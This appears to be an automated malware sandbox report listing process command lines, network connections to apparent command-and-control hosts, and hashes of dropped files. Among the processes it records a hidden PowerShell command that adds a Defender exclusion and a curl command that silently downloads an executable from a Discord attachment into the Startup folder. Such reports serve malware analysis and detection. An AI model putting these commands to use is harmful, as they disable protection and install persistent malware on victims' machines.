C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3132 -childID 1 -isForBrowser -prefsHandle 3248 -prefMapHandle 2912 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1180 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab6b62a4-32ce-457f-b575-fcc9b58b16f6} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4100 -childID 2 -isForBrowser -prefsHandle 4092 -prefMapHandle 4088 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1180 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c69c503-149d-4a04-93a7-2c662472da46} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4912 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4932 -prefMapHandle 4928 -prefsLen 29197 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {171f9917-075e-481c-a5c4-f7a88fc96737} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" utility

C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe

"C:\Users\Admin\AppData\Local\Temp\1006055001\babababa.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5356 -childID 3 -isForBrowser -prefsHandle 5076 -prefMapHandle 4680 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1180 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d80026fe-c18b-4105-866b-083ad3a8b96a} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5512 -childID 4 -isForBrowser -prefsHandle 5520 -prefMapHandle 5524 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1180 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3211c59b-fe4e-4485-b0b2-1bf5629ee9ce} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5700 -childID 5 -isForBrowser -prefsHandle 5712 -prefMapHandle 5708 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1180 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca67fad3-570b-4338-a78d-dbba761d3d62} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" tab

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7D2A.tmp\7D3B.tmp\7D3C.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe

"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe"

C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe

"C:\Users\Admin\AppData\Local\Temp\1006060001\0d1b67b572.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe

"C:\Users\Admin\AppData\Local\Temp\1006061001\42abf53ddc.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe

"C:\Users\Admin\AppData\Local\Temp\1006063001\1232b87211.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0d1b67b572.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffef69546f8,0x7ffef6954708,0x7ffef6954718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2240 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3024 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3040 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4116 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5152 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5584 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5584 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0d1b67b572.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffef69546f8,0x7ffef6954708,0x7ffef6954718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5744 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4464 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2248,13926584010270224454,14379588772702510056,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 68.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 frogmen-smell.sbs udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
RU 185.215.113.43:80 185.215.113.43 tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 55.80.21.104.in-addr.arpa udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 43.113.215.185.in-addr.arpa udp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 11.244.41.31.in-addr.arpa udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 learn.microsoft.com udp
GB 95.100.246.21:443 learn.microsoft.com tcp
US 8.8.8.8:53 wcpstatic.microsoft.com udp
US 8.8.8.8:53 js.monitor.azure.com udp
US 8.8.8.8:53 57.110.18.2.in-addr.arpa udp
US 13.107.246.64:443 js.monitor.azure.com tcp
US 13.107.246.64:443 js.monitor.azure.com tcp
US 8.8.8.8:53 21.246.100.95.in-addr.arpa udp
US 8.8.8.8:53 64.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 browser.events.data.microsoft.com udp
US 20.42.65.84:443 browser.events.data.microsoft.com tcp
US 20.42.65.84:443 browser.events.data.microsoft.com tcp
US 8.8.8.8:53 84.65.42.20.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
RU 185.215.113.206:80 185.215.113.206 tcp
US 8.8.8.8:53 206.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 68.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
GB 142.250.200.14:443 youtube.com tcp
GB 142.250.200.14:443 youtube.com tcp
US 8.8.8.8:53 firefox-api-proxy.cdn.mozilla.net udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net tcp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
GB 142.250.200.14:443 youtube.com udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 14.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 www.youtube.com udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
GB 172.217.169.14:443 www.youtube.com tcp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
GB 172.217.169.14:443 youtube-ui.l.google.com udp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
GB 142.250.179.238:443 consent.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
US 8.8.8.8:53 consent.youtube.com udp
GB 142.250.179.238:443 consent.youtube.com udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 firefox-settings-attachments.cdn.mozilla.net udp
US 34.117.121.53:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 14.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 238.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 149.234.200.54.in-addr.arpa udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 10.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 67.204.58.216.in-addr.arpa udp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
GB 216.58.201.100:443 www.google.com tcp
RU 185.215.113.16:80 185.215.113.16 tcp
GB 216.58.201.100:443 www.google.com udp
US 8.8.8.8:53 100.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 233.134.159.162.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
N/A 127.0.0.1:49559 tcp
N/A 127.0.0.1:49566 tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 201.181.244.35.in-addr.arpa udp
US 8.8.8.8:53 ciscobinary.openh264.org udp
GB 88.221.134.155:80 ciscobinary.openh264.org tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 172.217.169.78:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 redirector.gvt1.com udp
RU 185.215.113.206:80 185.215.113.206 tcp
GB 172.217.169.78:443 redirector.gvt1.com udp
US 8.8.8.8:53 r4---sn-aigzrnsz.gvt1.com udp
GB 74.125.175.169:443 r4---sn-aigzrnsz.gvt1.com tcp
US 8.8.8.8:53 r4.sn-aigzrnsz.gvt1.com udp
US 8.8.8.8:53 r4.sn-aigzrnsz.gvt1.com udp
US 8.8.8.8:53 155.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 169.175.125.74.in-addr.arpa udp
GB 74.125.175.169:443 r4.sn-aigzrnsz.gvt1.com udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 34.117.121.53:443 attachments.prod.remote-settings.prod.webservices.mozgcp.net tcp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 location.services.mozilla.com udp
US 35.190.72.216:443 location.services.mozilla.com tcp
US 8.8.8.8:53 prod.classify-client.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 prod.classify-client.prod.webservices.mozgcp.net udp
US 35.190.72.216:443 prod.classify-client.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 216.72.190.35.in-addr.arpa udp
US 8.8.8.8:53 learn.microsoft.com udp
GB 95.100.246.21:443 learn.microsoft.com tcp
US 8.8.8.8:53 play.google.com udp
GB 172.217.16.238:443 play.google.com tcp
US 8.8.8.8:53 play.google.com udp
US 8.8.8.8:53 browser.events.data.microsoft.com udp
US 8.8.8.8:53 play.google.com udp
US 104.208.16.95:443 browser.events.data.microsoft.com tcp
GB 172.217.16.238:443 play.google.com udp
US 8.8.8.8:53 238.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 95.16.208.104.in-addr.arpa udp
US 104.208.16.95:443 browser.events.data.microsoft.com tcp
GB 142.250.179.238:443 consent.youtube.com udp
US 8.8.8.8:53 174.117.168.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe

MD5 b8473ab2c76eae33810f5f33078d8595
SHA1 ed052c67fc7f79a1d98503596382d58a1586bbaa
SHA256 8b52c8400775f7538ab9dd2696adafb4b06085f17b333bc0c2cc89e12f1f9bf5
SHA512 5e0fe8b75c55dd64245f8627b2d54ba86241b8323068d6186feb30ceeb9fc799d3aa2a471148400614660c1e4687e36fb425f73ce39f06d357b31fe54b3d2230

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe

MD5 c6f7f27d6c2bcd6ab957a0b08d280c74
SHA1 f1c9bf6fc0ac5f4de8766dea94f3a03dc8dab743
SHA256 4aa9f4ac0dbcd8cbe18b39d67306321333c5ee7a642c0d29fd81e362d255c734
SHA512 48a7ca5ab8ca16524e9ce0ee82284c6fbf84d7468b49e3784e49dda5440d611acb1c22148a1d779e8d064c2782bf51e1a1aef0d87affc9ae0e1fda516e066e64

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe

MD5 00eb53cf7b3c0b35b033fcf97b7b6961
SHA1 b9983af4900f33196075146de1d08fe047157dc7
SHA256 5fcdb5922b47ae7b0f4ea13793550d39e39ae2d25d43f2b9f72a85744633373a
SHA512 66fd550f0d68666edc92b7392db8b86d5ab51a0afd3c5844652c787bf78f7f8ff7418afa8aaf9cb1ac039d87be33fefd60c7ded5db87f980aa2b6574280e1408

memory/852-21-0x0000000000350000-0x0000000000677000-memory.dmp

memory/852-32-0x0000000000350000-0x0000000000677000-memory.dmp

memory/3340-33-0x00000000003C0000-0x00000000006E7000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe

MD5 4a8fba96c30ecc9769828b40d2145d74
SHA1 8c3f185957659168ec8a56d2206512737a8dfb5c
SHA256 1810ce9c829c5947d87c8b269b1ea95cab69b6acc16035e02dee63bb24d6bc2e
SHA512 5ce90db37cdea35d3842656713a37ae25808c15350cba96491cfc2e0b6e336cf8152fe73c2932ff4ff1f7eb462d9202f359a5906e997220d4ddd04862e905a14

memory/1228-38-0x0000000000110000-0x0000000000410000-memory.dmp

memory/3340-39-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/3340-40-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/1228-41-0x0000000000110000-0x0000000000410000-memory.dmp

memory/1228-42-0x0000000000110000-0x0000000000410000-memory.dmp

memory/3340-44-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/1048-46-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/1228-45-0x0000000000110000-0x0000000000410000-memory.dmp

memory/1048-47-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/3340-48-0x00000000003C0000-0x00000000006E7000-memory.dmp

memory/1228-49-0x0000000000110000-0x0000000000410000-memory.dmp

memory/1228-51-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-50-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-63-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-65-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-71-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-72-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-80-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-79-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-78-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-77-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-84-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-83-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-82-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-81-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-76-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-75-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-74-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-73-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-70-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-69-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-68-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-66-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-64-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-62-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-61-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-60-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-59-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-58-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-67-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-57-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-86-0x0000000000110000-0x0000000000410000-memory.dmp

memory/3340-85-0x00000000003C0000-0x00000000006E7000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 ba6ef346187b40694d493da98d5da979
SHA1 643c15bec043f8673943885199bb06cd1652ee37
SHA256 d86eec91f295dfda8ed1c5fa99de426f2fe359282c7ebf67e3a40be739475d73
SHA512 2e6cc97330be8868d4b9c53be7e12c558f6eb1ac2c4080a611ba6c43561d0c5bb4791b8a11a8c2371599f0ba73ed1d9a7a2ea6dee2ae6a080f1912e0cb1f656c

\??\pipe\LOCAL\crashpad_4232_LJXZXPCCFGVUVWKP

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 b8880802fc2bb880a7a869faa01315b0
SHA1 51d1a3fa2c272f094515675d82150bfce08ee8d3
SHA256 467b8cd4aacac66557712f9843023dcedefcc26efc746f3e44157bc8dac73812
SHA512 e1c6dba2579357ba70de58968b167d2c529534d24bff70568144270c48ac18a48ee2af2d58d78ae741e5a36958fa78a57955bd2456f1df00b781fc1002e123d2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 7a572cb18633128b2c6c13cad508f76c
SHA1 cc46ebfcf88533d38b921abc40fe49af6595d85f
SHA256 8476f771f9e5419dd068ec6dba9543d5cbb5d2aff397324839012b79a974e2d2
SHA512 7bc64a08ce87404e49d2b3eb128c7956000cbb460164d1b2c014368f871cb8779b1bedc253a54dfbd5453224d8df4413d930e35013e49f3dce56c7da2d2c081e

memory/3340-138-0x00000000003C0000-0x00000000006E7000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

memory/1228-149-0x0000000000110000-0x0000000000410000-memory.dmp

memory/1228-179-0x0000000005D50000-0x0000000006008000-memory.dmp

memory/1228-210-0x0000000000110000-0x0000000000410000-memory.dmp

